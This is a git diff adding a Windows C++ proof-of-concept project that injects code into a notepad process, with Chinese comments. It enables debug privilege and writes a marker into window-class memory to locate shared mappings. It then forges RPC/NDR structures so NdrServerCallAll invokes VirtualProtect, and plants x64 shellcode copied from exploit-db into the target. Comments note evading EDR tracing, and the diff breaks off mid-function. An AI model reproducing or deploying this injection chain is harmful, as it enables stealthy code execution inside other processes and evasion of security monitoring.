diff --git a/Resource.h b/Resource.h new file mode 100644 index 0000000..8b92b68 --- /dev/null +++ b/Resource.h @@ -0,0 +1,30 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ 生成的包含文件。 +// 使用者 shit.rc + +#define IDS_APP_TITLE 103 + +#define IDR_MAINFRAME 128 +#define IDD_SHIT_DIALOG 102 +#define IDD_ABOUTBOX 103 +#define IDM_ABOUT 104 +#define IDM_EXIT 105 +#define IDI_SHIT 107 +#define IDI_SMALL 108 +#define IDC_SHIT 109 +#define IDC_MYICON 2 +#ifndef IDC_STATIC +#define IDC_STATIC -1 +#endif +// 新对象的下一组默认值 +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS + +#define _APS_NO_MFC 130 +#define _APS_NEXT_RESOURCE_VALUE 129 +#define _APS_NEXT_COMMAND_VALUE 32771 +#define _APS_NEXT_CONTROL_VALUE 1000 +#define _APS_NEXT_SYMED_VALUE 110 +#endif +#endif diff --git a/framework.h b/framework.h new file mode 100644 index 0000000..20835fd --- /dev/null +++ b/framework.h @@ -0,0 +1,15 @@ +// header.h: 标准系统包含文件的包含文件, +// 或特定于项目的包含文件 +// + +#pragma once + +#include "targetver.h" +#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容 +// Windows 头文件 +#include +// C 运行时头文件 +#include +#include +#include +#include diff --git a/rpc.h b/rpc.h new file mode 100644 index 0000000..f07ce8b --- /dev/null +++ b/rpc.h @@ -0,0 +1,93 @@ +#pragma once +#include +#include +#include +#include +#include + +typedef struct _NDR64_PROC_FORMAT +{ + /* 0x0000 */ unsigned int Flags; + /* 0x0004 */ unsigned int StackSize; + /* 0x0008 */ unsigned int ConstantClientBufferSize; + /* 0x000c */ unsigned int ConstantServerBufferSize; + /* 0x0010 */ unsigned short RpcFlags; + /* 0x0012 */ unsigned short FloatDoubleMask; + /* 0x0014 */ unsigned short NumberOfParams; + /* 0x0016 */ unsigned short ExtensionSize; +} NDR64_PROC_FORMAT, *PNDR64_PROC_FORMAT; /* size: 0x0018 */ + +/* +#define ULONG_PTR_T ULONG_PTR +#define PTR_T * + +typedef struct _RPC_DISPATCH_TABLE_T { + UINT DispatchTableCount; + RPC_DISPATCH_FUNCTION PTR_T DispatchTable; + ULONG_PTR_T Reserved; +} RPC_DISPATCH_TABLE_T, PTR_T PRPC_DISPATCH_TABLE_T; + +typedef struct _RPC_PROTSEQ_ENDPOINT_T { + UCHAR PTR_T RpcProtocolSequence; + UCHAR PTR_T Endpoint; +} RPC_PROTSEQ_ENDPOINT_T, PTR_T PRPC_PROTSEQ_ENDPOINT_T; + +typedef struct _RPC_SERVER_INTERFACE_T { + UINT Length; + RPC_IF_ID InterfaceId; + RPC_IF_ID TransferSyntax; + PRPC_DISPATCH_TABLE_T DispatchTable; + UINT RpcProtseqEndpointCount; + PRPC_PROTSEQ_ENDPOINT_T RpcProtseqEndpoint; + RPC_MGR_EPV PTR_T DefaultManagerEpv; + void const PTR_T InterpreterInfo; + UINT Flags; +} RPC_SERVER_INTERFACE_T, PTR_T PRPC_SERVER_INTERFACE_T; + + +typedef struct _NDR_EXPR_DESC_T +{ + const unsigned short PTR_T pOffset; + const unsigned char PTR_T pFormatExpr; +} NDR_EXPR_DESC_T; + + +typedef struct _MIDL_STUB_DESC_T { + void PTR_T RpcInterfaceInformation; + void PTR_T pfnAllocate; + void PTR_T pfnFree; + void PTR_T pAutoHandle; + const VOID PTR_T apfnNdrRundownRoutines; + const VOID PTR_T aGenericBindingRoutinePairs; + const VOID PTR_T apfnExprEval; + const VOID PTR_T aXmitQuintuple; + const unsigned char PTR_T pFormatTypes; + int fCheckBounds; + unsigned long Version; + VOID PTR_T pMallocFreeStruct; + long MIDLVersion; + const COMM_FAULT_OFFSETS PTR_T CommFaultOffsets; + // New fields for version 3.0+ + const VOID PTR_T aUserMarshalQuadruple; + // Notify routines - added for NT5, MIDL 5.0 + const VOID PTR_T NotifyRoutineTable; + + ULONG_PTR_T mFlags; + // International support routines - added for 64bit post NT5 + const VOID PTR_T CsRoutineTables; + void PTR_T ProxyServerInfo; + const NDR_EXPR_DESC_T PTR_T pExprInfo; + // Fields up to now present in win2000 release. +} MIDL_STUB_DESC_T, PTR_T PMIDL_STUB_DESC_T; + +typedef struct _MIDL_SERVER_INFO_T { + PMIDL_STUB_DESC_T pStubDesc; + const VOID PTR_T PTR_T DispatchTable; + const unsigned char PTR_T ProcString; + const unsigned short PTR_T FmtStringOffset; + const VOID PTR_T PTR_T ThunkTable; + RPC_IF_ID PTR_T pTransferSyntax; + ULONG_PTR_T nCount; + VOID PTR_T pSyntaxInfo; +} MIDL_SERVER_INFO_T, PTR_T PMIDL_SERVER_INFO_T; +*/ \ No newline at end of file diff --git a/shit.cpp b/shit.cpp new file mode 100644 index 0000000..222d120 --- /dev/null +++ b/shit.cpp @@ -0,0 +1,763 @@ +// shit.cpp : 定义应用程序的入口点。 +// + +#include "framework.h" +#include "shit.h" +#include +#include +#include "teb_def.h" +#include "rpc.h" +PVOID +SundaySearch_ByProcess(HANDLE ProcesHandle, char* pattern, PVOID address, + SIZE_T readSize); + +PVOID +LookupTagClsAddressByProcess(HANDLE ProcessHandle) { +#ifdef _WIN64 +#define START_ADDRESS (PVOID)0x00000000010000 +#define END_ADDRESS (0x00007FF8F2580000 - 0x00000000010000) +#else +#define START_ADDRESS (PVOID)0x10000 +#define END_ADDRESS (0x7FFF0000 - 0x10000) +#endif + typedef LONG(NTAPI * FnZwQueryVirtualMemory)(HANDLE, PVOID, int, PVOID, + SIZE_T, PSIZE_T); + static FnZwQueryVirtualMemory ZwQueryVirtualMemory = + (FnZwQueryVirtualMemory)GetProcAddress(LoadLibrary(L"ntdll.dll"), + "ZwQueryVirtualMemory"); + if (!ZwQueryVirtualMemory) { + std::cerr << "ZwQueryVirtualMemory GetProcAddress failed: " + << GetLastError() << std::endl; + return 0; + } + MEMORY_BASIC_INFORMATION MemoryBasicInfo = {0}; + PVOID CurrentAddress = START_ADDRESS; + uint64_t TheTagClsAddress = 0; + SIZE_T BytesReturned = 0; + + while (true) { + BOOLEAN ContinueEnum = FALSE; + + RtlZeroMemory(&MemoryBasicInfo, sizeof(MemoryBasicInfo)); + + auto ntStatus = ZwQueryVirtualMemory( + ProcessHandle, CurrentAddress, 0, &MemoryBasicInfo, + sizeof(MEMORY_BASIC_INFORMATION), &BytesReturned); + + if (ntStatus != 0) break; + + do { + if (MemoryBasicInfo.State != MEM_COMMIT) { + break; + } + if (MemoryBasicInfo.Type != MEM_PRIVATE && + MemoryBasicInfo.Type != MEM_MAPPED) { + break; + } + + // 自己的是PAGE_READWRITE 别人的是PAGE_READONLY + if (MemoryBasicInfo.Protect != PAGE_READONLY) { + break; + } + + TheTagClsAddress = (uint64_t)SundaySearch_ByProcess( + ProcessHandle, (char*)"13 37 CC A0 A0 68 75 6F 6A 69", + (UCHAR*)CurrentAddress, MemoryBasicInfo.RegionSize); + if (TheTagClsAddress != NULL) { + break; + } + + } while (FALSE); + if (TheTagClsAddress != 0) { + break; + } + CurrentAddress = (PVOID)((ULONG_PTR)MemoryBasicInfo.BaseAddress + + MemoryBasicInfo.RegionSize); + } + return (PVOID)TheTagClsAddress; +} + +void printHex(const char* name, const void* data, size_t size) { + printf("%s: ", name); + const unsigned char* byteData = (const unsigned char*)data; + for (size_t i = 0; i < size; ++i) { + printf("%02X ", byteData[i]); + } + printf("\n"); +} + +struct _NDR64_PARAM_FLAGS { + unsigned __int16 MustSize : 1; + unsigned __int16 MustFree : 1; + unsigned __int16 IsPipe : 1; + unsigned __int16 IsIn : 1; + unsigned __int16 IsOut : 1; + unsigned __int16 IsReturn : 1; + unsigned __int16 IsBasetype : 1; + unsigned __int16 IsByValue : 1; + unsigned __int16 IsSimpleRef : 1; + unsigned __int16 IsDontCallFreeInst : 1; + unsigned __int16 SaveForAsyncFinish : 1; + unsigned __int16 IsPartialIgnore : 1; + unsigned __int16 IsForceAllocate : 1; + unsigned __int16 Reserved : 2; + unsigned __int16 UseCache : 1; +}; +typedef const void* PNDR64_FORMAT; +typedef struct _NDR64_PARAM_FORMAT { + void* Type; + _NDR64_PARAM_FLAGS Attributes; + unsigned __int16 Reserved; + unsigned __int32 StackOffset; +}; +/* +.rdata:00007FFF3A2784E0 ?Ndr64SimpleTypeBufferSize@@3QBEB db 0 ; DATA XREF: +Ndr64ComplexStructBufferSize(_MIDL_STUB_MESSAGE *,uchar *,void const +*)+31B↑o .rdata:00007FFF3A2784E0 ; +Ndr64UnionBufferSize(_MIDL_STUB_MESSAGE *,uchar *,void const *)+B8↑o ... +.rdata:00007FFF3A2784E1 db 1 +.rdata:00007FFF3A2784E2 db 1 +.rdata:00007FFF3A2784E3 db 2 +.rdata:00007FFF3A2784E4 db 2 +.rdata:00007FFF3A2784E5 db 4 +.rdata:00007FFF3A2784E6 db 4 +.rdata:00007FFF3A2784E7 db 8 +.rdata:00007FFF3A2784E8 db 8 +*/ +enum class _Ndr64SimpleTypeBUfferSizeMap { + kChar = 0, + kShort = 2, + kint32 = 4, + kint64 = 6 +}; +// https://www.exploit-db.com/shellcodes/49819 +// 没办法把shellcode写到cls内存里面,因为那个是map的属性.所以提前写到编辑框里面 +unsigned char payload[] = +"\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b" +"\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b" +"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08" +"\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2" +"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24" +"\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b" +"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6" +"\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04" +"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96" +"\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0" +"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e" +"\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2" +"\x48\x83\xec\x20\x41\xff\xd6"; +void buildVirtualProtectShellCode(char* tmpShellcode, + uint64_t editShellcodeLocation, + uint64_t theNdrServerCallAllAddress, + uint64_t shellCodeChangeAddress, + uint64_t virtualProtectReturnValue) { + + //第二个shellcode在编辑框里面,负责call virtualprotect + *(ULONG_PTR*)tmpShellcode = (ULONG_PTR)editShellcodeLocation; + + // *Message->Handle + 0x80 = NdrServerCallAll + *(ULONG_PTR*)(tmpShellcode + 0x80) = (ULONG_PTR)theNdrServerCallAllAddress; + +#define REMOTE_EDIT_ADDRESS(x) \ + ((ULONG_PTR)(x) - (ULONG_PTR)tmpShellcode + \ + (ULONG_PTR)editShellcodeLocation) + RPC_MESSAGE* RpcMsg0 = (RPC_MESSAGE*)tmpShellcode; + RPC_SERVER_INTERFACE* RpcInterfaceInfo0 = + (RPC_SERVER_INTERFACE*)(tmpShellcode + 0x88); + MIDL_SERVER_INFO* RpcSrvInfo0 = + (MIDL_SERVER_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE)); + PVOID* DispatchTable0 = + (PVOID*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO)); + MIDL_SYNTAX_INFO* SyntaxInfo0 = + (MIDL_SYNTAX_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID)); + MIDL_STUB_DESC* StubDesc0 = + (MIDL_STUB_DESC*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2); + ULONG_PTR* FmtStrOffset0 = + (ULONG_PTR*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC)); + NDR64_PROC_FORMAT* ProcStr0 = + (NDR64_PROC_FORMAT*)(tmpShellcode + 0x88 + + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2 + + sizeof(MIDL_STUB_DESC) + sizeof(ULONG_PTR)); + + //_NDR_PROC_CONTEXT Ndr+Proc + DispatchTable0[0] = (PVOID)VirtualProtect; + RpcSrvInfo0->DispatchTable = + (SERVER_ROUTINE*)REMOTE_EDIT_ADDRESS(DispatchTable0); + + FmtStrOffset0[0] = (ULONG_PTR)REMOTE_EDIT_ADDRESS(ProcStr0); + (SyntaxInfo0 + 1)->FmtStringOffset = + (USHORT*)REMOTE_EDIT_ADDRESS(FmtStrOffset0); + RpcSrvInfo0->pSyntaxInfo = + (MIDL_SYNTAX_INFO*)REMOTE_EDIT_ADDRESS(SyntaxInfo0); + RpcSrvInfo0->pStubDesc = (MIDL_STUB_DESC*)REMOTE_EDIT_ADDRESS(StubDesc0); + RpcSrvInfo0->DispatchTable = + (SERVER_ROUTINE*)REMOTE_EDIT_ADDRESS(DispatchTable0); + // RpcSrvInfo0->FmtStringOffset = (unsigned short*)0x1337; + RpcSrvInfo0->ProcString = (PFORMAT_STRING)0xAAAA; + + + + RpcInterfaceInfo0->InterpreterInfo = + (MIDL_SERVER_INFO*)REMOTE_EDIT_ADDRESS(RpcSrvInfo0); + RpcMsg0->RpcInterfaceInformation = + (RPC_SERVER_INTERFACE*)REMOTE_EDIT_ADDRESS(RpcInterfaceInfo0); + RpcMsg0->ProcNum = 0; + RpcMsg0->RpcFlags = 0x1000; + + *(ULONG_PTR*)(tmpShellcode + 0x100) = + (ULONG_PTR)VirtualProtect; + + auto calcOffset = 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC) + + sizeof(ULONG_PTR) + sizeof(NDR64_PROC_FORMAT); + // auto remoteCallAddr = REMOTE_CLS_ADDRESS(tmpShellcode + calcOffset); + //*(ULONG_PTR*)(tmpShellcode + calcOffset) = remoteCallAddr; + // calcOffset += sizeof(ULONG_PTR); + + /* + * https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/mulsyntx.cxx#L1152 + if ( pParamFlags->IsIn || + (pParamFlags->IsReturn && !pNdr64Flags->HasComplexReturn) || + pParamFlags->IsPipe ) + continue; + */ + std::vector<_NDR64_PARAM_FORMAT*> theParamTypeAddress; + // type的指针,这个type会读两次 **typeaddr + auto fnSetNdr64Param = [&]() { + static auto currentCopyCount = 0; + auto ndr64Param = (_NDR64_PARAM_FORMAT*)(tmpShellcode + calcOffset); + ndr64Param->Attributes.IsIn = true; + ndr64Param->Attributes.IsBasetype = true; + // auto typeAddress = tmpShellcode + calcOffset; + // theParamTypeAddress.push_back(typeAddress); + // ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress); + ndr64Param->StackOffset = currentCopyCount * 4; + currentCopyCount += 1; + // 这个没用,因为不走IsSimpleRef,simpleref那段内存是read only没办法赋值 + // https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/srvcall.cxx#L694C31-L694C43 + //*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64; + // calcOffset += sizeof(_NDR64_PARAM_FORMAT); + theParamTypeAddress.push_back(ndr64Param); + calcOffset += sizeof(_NDR64_PARAM_FORMAT); + }; + + const auto virtualProtectParamSize = 8 * 4; + for (size_t i = 0; i < virtualProtectParamSize / 4; i++) { + fnSetNdr64Param(); + } + auto paramsBuffer = tmpShellcode + calcOffset; + // 设置参数 + RpcMsg0->Buffer = (void*)REMOTE_EDIT_ADDRESS(paramsBuffer); + RpcMsg0->BufferLength = virtualProtectParamSize; // virtualprotect的参数 + calcOffset += RpcMsg0->BufferLength; + + // Make HandleType to 0 + ProcStr0->Flags = 1; + ProcStr0->StackSize = virtualProtectParamSize; + ProcStr0->NumberOfParams = RpcMsg0->BufferLength / 4; + + + auto tempCover = (uint64_t)shellCodeChangeAddress; + memcpy(paramsBuffer, &tempCover, 8); + + tempCover = (uint64_t)sizeof(payload); + memcpy(paramsBuffer + 8, &tempCover, 8); + + tempCover = (uint64_t)PAGE_EXECUTE_READWRITE; + memcpy(paramsBuffer + 8 + 8, &tempCover, 8); + + memcpy(paramsBuffer + 8 + 8 + 8, &virtualProtectReturnValue, 8); + calcOffset += sizeof(uint64_t); + + for (auto ndr64Param : theParamTypeAddress) { + auto typeAddress = tmpShellcode + calcOffset; + ndr64Param->Type = (void*)REMOTE_EDIT_ADDRESS(typeAddress); + calcOffset += sizeof(void*); + + *(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64; + calcOffset += sizeof(char); + } + + auto payloadAddress = tmpShellcode + calcOffset; + tempCover = REMOTE_EDIT_ADDRESS(payloadAddress); + memcpy(payloadAddress, payload, sizeof(payload)); + //I_RpcGetBufferWithObject + //if ( !Message->Handle || *((_DWORD *)Handle + 2) != 0x89ABCDEF || (*((_DWORD *)Handle + 3) & 0x33307C) == 0 ) + *(ULONG*)(tmpShellcode + 8) = (ULONG)0x89ABCDEF; + *(ULONG*)(tmpShellcode + 3 * 4) = (ULONG)0x33307C; + // (*(__int64 (__fastcall **)(BINDING_HANDLE *, RPC_MESSAGE *))(*(_QWORD *)Handle + 0x68i64))(Handle, v4); + //这里每个系统都不一样,我的是0x70 + *(ULONG_PTR*)(tmpShellcode + 0x70) = (ULONG_PTR)tempCover; + printf("payload address: %p remoteaddress: %p ", payloadAddress, tempCover); + +} +void PrivilegeEscalation() { + HANDLE hToken; + LUID luid; + TOKEN_PRIVILEGES tp; + OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, + &hToken); + LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid); + tp.PrivilegeCount = 1; + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + tp.Privileges[0].Luid = luid; + AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); +} +int APIENTRY wWinMain(_In_ HINSTANCE hInstance, + _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, + _In_ int nCmdShow) { + PrivilegeEscalation(); + // 创建notepad进程,泄露就泄露了 去他妈的 + STARTUPINFO si = {sizeof(si)}; + PROCESS_INFORMATION pi; + if (!CreateProcess(L"L:\\Windows\\system32\\notepad.exe", NULL, NULL, NULL, + FALSE, 0, NULL, NULL, &si, &pi)) { + std::cerr << "CreateProcess failed: " << GetLastError() << std::endl; + return 1; + } + // 等完全起来 + WaitForInputIdle(pi.hProcess, INFINITE); + + // 获取notepad进程中edit窗口的句柄 + HWND hwndNotepad = FindWindow(L"Notepad", NULL); + HWND hwndEdit = FindWindowEx(hwndNotepad, NULL, L"Edit", NULL); + if (!hwndEdit) { + std::cerr << "FindWindowEx failed: " << GetLastError() << std::endl; + return 1; + } + + // 注册一个带有额外类内存的窗口类 + // https://learn.microsoft.com/en-us/windows/win32/winmsg/about-window-classes?redirectedfrom=MSDN + WNDCLASSEX wcex = {sizeof(wcex)}; + wcex.lpfnWndProc = DefWindowProc; + wcex.cbClsExtra = wcex.cbWndExtra = 1024 * 64; + wcex.lpszClassName = L"CustomWindowClass"; + wcex.hInstance = hInstance; + if (!RegisterClassEx(&wcex)) { + std::cerr << "RegisterClassEx failed: " << GetLastError() << std::endl; + return 1; + } + + // 创建一个仅消息窗口 + HWND hwndMessage = + CreateWindowExW(0, L"CustomWindowClass", NULL, 0, 0, 0, 0, 0, + HWND_MESSAGE, NULL, hInstance, NULL); + if (!hwndMessage) { + std::cerr << "CreateWindowEx failed: " << GetLastError() << std::endl; + return 1; + } + ShowWindow(hwndMessage, SW_SHOW); + UpdateWindow(hwndMessage); +#ifdef _WIN64 + typedef LONG(NTAPI * FnNtUserSetClassLong)(HWND hWnd, INT Offset, + LONG64 dwNewLong, BOOL Ansi); +#else + typedef LONG(NTAPI * FnNtUserSetClassLong)(HWND hWnd, INT Offset, + LONG dwNewLong, BOOL Ansi); + +#endif // _WIN64 + + FnNtUserSetClassLong NtUserSetClassLong = + (FnNtUserSetClassLong)GetProcAddress(LoadLibrary(L"win32u.dll"), + "NtUserSetClassLong"); + + if (!NtUserSetClassLong) { + std::cerr << "NtUserSetClassLong GetProcAddress failed: " + << GetLastError() << std::endl; + return 1; + } + + /* + typedef LONG(NTAPI* FnNtUserSetClassLongPtr)(HWND hwnd, INT offset, LONG_PTR + newval, BOOL ansi); FnNtUserSetClassLongPtr NtUserSetClassLongPtr = + (FnNtUserSetClassLongPtr)GetProcAddress(LoadLibrary(L"win32u.dll"), + "NtUserSetClassLongPtr"); + + if (!NtUserSetClassLongPtr) { + std::cerr << "NtUserSetClassLongPtr GetProcAddress failed: " << + GetLastError() << std::endl; return 1; + } + */ + const char shitInput[] = {0x13, 0x37, 0xCC, 0xA0, 0xA0, + 0x68, 0x75, 0x6f, 0x6a, 0x69}; + // https://github.com/wine-mirror/wine/blob/1134834b7478632da9c60f36d4a7cf254729242c/dlls/win32u/class.c#L705 + // offset = 0 + for (size_t i = 0; i < sizeof(shitInput); i++) { + NtUserSetClassLong(hwndMessage, i, shitInput[i], FALSE); + } + // 通过查找TEB->Win32ClientInfo->phkCurrent结构下的AllocationBase来确定窗口内存的基址 + // 只是缩小范围,其实不如直接virtualqueryex,我实在是不知道这里要怎么定位到notepad的地址.如果用win32 + // api edr绝对有痕迹 这里就是用readmemory + auto TheTagClsAddress = LookupTagClsAddressByProcess((HANDLE)-1); + if (TheTagClsAddress == 0) { + std::cerr << "TheTagClsAddress failed: " << GetLastError() << std::endl; + return 1; + } + auto TheNotepadTagClsAddress = LookupTagClsAddressByProcess(pi.hProcess); + if (TheNotepadTagClsAddress == 0) { + std::cerr << "TheNotepadTagClsAddress failed: " << GetLastError() + << std::endl; + return 1; + } + for (size_t i = 0; i < sizeof(shitInput); i++) { + NtUserSetClassLong(hwndMessage, i, 0x0, FALSE); + } + // 这个作者抄了这玩意 + // https://modexp.wordpress.com/2020/07/07/wpi-wm-paste/ + // https://github.com/odzhan/injection/blob/master/eminject/poc.c#L38 + + /* + RPC_STATUS __stdcall I_RpcFreePipeBuffer(RPC_MESSAGE *Message) { + (*(void (__fastcall **)(RPC_BINDING_HANDLE, RPC_MESSAGE *))(*(_QWORD + *)Message->Handle + 0x80))( //Message->Handle + 0x80 = NdrServerCallAll + Message->Handle, // Message->Handle = PRPC_MESSAGE pRpcMsg + Message); + return 0; + } + */ + + /* + void __stdcall NdrServerCallAll(PRPC_MESSAGE pRpcMsg) + { + struct _MIDL_SERVER_INFO_ **RpcInterfaceInformation; // rax + unsigned int v2; // [rsp+50h] [rbp+8h] BYREF + + RpcInterfaceInformation = (struct _MIDL_SERVER_INFO_ + **)pRpcMsg->RpcInterfaceInformation; v2 = 0; + ((void (__stdcall *)(void *, void *, struct _RPC_MESSAGE *, struct + _MIDL_SERVER_INFO_ *, int (*const *)(void), struct _MIDL_SYNTAX_INFO *, + unsigned int *))Ndr64StubWorker)( 0i64, 0i64, pRpcMsg, + RpcInterfaceInformation[0xA], + RpcInterfaceInformation[0xA]->DispatchTable, + RpcInterfaceInformation[0xA]->pSyntaxInfo + 1, + &v2); + } + */ + // 不可以用NdrServerCall2的原因是需要调用PerformRpcInitialization。 + const auto hRpcRt4 = LoadLibraryA("rpcrt4.dll"); + + const auto theNdrServerCallAllAddress = + (uint64_t)GetProcAddress(hRpcRt4, "NdrServerCallAll"); + + const auto theI_RpcFreePipeBufferAddr = + GetProcAddress(hRpcRt4, "I_RpcFreePipeBuffer"); + const auto theVirtualProtectAddr = (void*)VirtualProtect; + + // PRPC_MESSAGE->Handle + /* + const auto fnInitRpcMessageHandle = [&](void* localStartAddress, void* + remoteStartAddress, void* callAddress) -> void { static const auto maxSize = + sizeof(RPC_MESSAGE) + 0x100 + 0x80 + 0x80; const auto tempBuffer = new + char[maxSize]; memset(tempBuffer, 0x0, maxSize); const auto + remote_notepad_rpc_Message = (PRPC_MESSAGE)((uint64_t)remoteStartAddress); + const auto remote_notepad_rpc_Message_handle = + (void*)((uint64_t)remote_notepad_rpc_Message + sizeof(RPC_MESSAGE)); + //这里会是RPC_MESSAGE开头 + + const auto remote_notepad_rpc_RpcInterfaceInformation = + (void*)((uint64_t)remote_notepad_rpc_Message_handle + 0x100); const auto + remote_notepad_rpc_RpcInterfaceInformation_DisPathTable = + (void*)((uint64_t)remote_notepad_rpc_RpcInterfaceInformation + 0x80); const + auto remote_notepad_rpc_RpcInterfaceInformation_DisPathTable_Dispath = + (void*)((uint64_t)remote_notepad_rpc_RpcInterfaceInformation_DisPathTable + + 0x80); + + const auto local_rpc_Message = (PRPC_MESSAGE)((uint64_t)tempBuffer); + const auto local_rpc_Message_handle = + (void*)((uint64_t)local_rpc_Message + + sizeof(RPC_MESSAGE));//这里会是RPC_MESSAGE开头,很重要,给后面的local_rpc_dispath_table_dispath_table用 + + const auto local_rpc_RpcInterfaceInformation = + (void*)((uint64_t)local_rpc_Message_handle + sizeof(RPC_MESSAGE) + 0x100); + const auto local_rpc_RpcInterfaceInformation_DisPathTable = + (void*)((uint64_t)local_rpc_RpcInterfaceInformation + 0x80); const auto + local_rpc_RpcInterfaceInformation_DisPathTable_Dispath = + (void*)((uint64_t)local_rpc_RpcInterfaceInformation_DisPathTable + 0x80); + + local_rpc_Message->ProcNum = 0; //这里填0 + local_rpc_Message->RpcInterfaceInformation = + (void**)remote_notepad_rpc_RpcInterfaceInformation; + local_rpc_Message->Handle = (void*)remote_notepad_rpc_Message_handle; + // 填第一次Message->Handle + 0x80的地址 : + *(uint64_t*)((uint64_t)local_rpc_Message_handle + 0x80) = + theNdrServerCallAllAddress; + + auto wtf = ((uint64_t)local_rpc_RpcInterfaceInformation + 0xA0 * + sizeof(void*)); + *(uint32_t*)(wtf + 0x0) = 0x80;//长度 + *(uint64_t*)(wtf + 0x8) = + (uint64_t)remote_notepad_rpc_RpcInterfaceInformation_DisPathTable;//dispathPath(也是一个数组) + + auto local_rpc_dispath_table = + (uint64_t*)(local_rpc_RpcInterfaceInformation_DisPathTable); + *(uint32_t*)((uint64_t)local_rpc_dispath_table + 0x0) = 1;// + dispath_count + *(uint64_t*)((uint64_t)local_rpc_dispath_table + 0x4) = + (uint64_t)remote_notepad_rpc_RpcInterfaceInformation_DisPathTable_Dispath; + // dispath_dispath + + auto local_rpc_dispath_table_dispath_table = + (uint64_t*)(local_rpc_RpcInterfaceInformation_DisPathTable_Dispath); + *(uint64_t*)((uint64_t)local_rpc_dispath_table_dispath_table + 0x0) = + (uint64_t)callAddress; memcpy(tempBuffer, local_rpc_Message, maxSize); + // +8的原因是里面会读一次RCX这个傻逼指针,所以+8是给RCX指针的 32位给4 + auto baseIndex = (uint64_t)localStartAddress + 0x8 - + (uint64_t)TheTagClsAddress; for (size_t i = 0; i < maxSize; i++) + { + NtUserSetClassLong(hwndMessage, i + baseIndex, tempBuffer[i], + FALSE); + } + delete[] tempBuffer; + }; + */ + // const auto localrpcMessage = (PRPC_MESSAGE)((uint64_t)TheTagClsAddress + + // 0x8); const auto remoterpcMessage = + // (PRPC_MESSAGE)((uint64_t)TheNotepadTagClsAddress + 0x8); + // +8的原因是里面会读一次RCX这个傻逼指针,所以+8是给RCX指针的 32位给4 + + /* + fnInitRpcMessageHandle((void*)((uint64_t)TheTagClsAddress), + (void*)((uint64_t)TheNotepadTagClsAddress), + (void*)theNdrServerCallAllAddress); + */ + + // const auto local_rpc_Message_handle22 = (void*)((uint64_t)localrpcMessage + // + sizeof(RPC_MESSAGE)); + // 现在再填一次local_rpc_Message_handle + // fnInitRpcMessageHandle((void*)localrpcMessage->Handle, + // (void*)remoterpcMessage, (void*)theVirtualProtectAddr); + // +0指向自己 +8的地方 + // *(uint64_t*)((uint64_t)TheTagClsAddress + 0x0) = + // (uint64_t)localrpcMessage; + + /* + char tempBuffer[8]; + memcpy(tempBuffer, &remoterpcMessage, 8); + for (size_t i = 0; i < 8; i++) + { + NtUserSetClassLong(hwndMessage, i, tempBuffer[i], FALSE); + } + */ + const auto allocShellcodeSize = 2048; + char* tmpShellcode = (char*)malloc(allocShellcodeSize); + memset(tmpShellcode, 0, allocShellcodeSize); + char* editShellcode = (char*)malloc(allocShellcodeSize); + memset(editShellcode, 0, allocShellcodeSize); + // I_RpcFreePipeBuffer(Message) + + // Message = EditControlPtr + // Message->Handle = Shellcode + // *Message->Handle = Shellcode + *(ULONG_PTR*)tmpShellcode = (ULONG_PTR)TheNotepadTagClsAddress; + + // *Message->Handle + 0x80 = NdrServerCallAll + 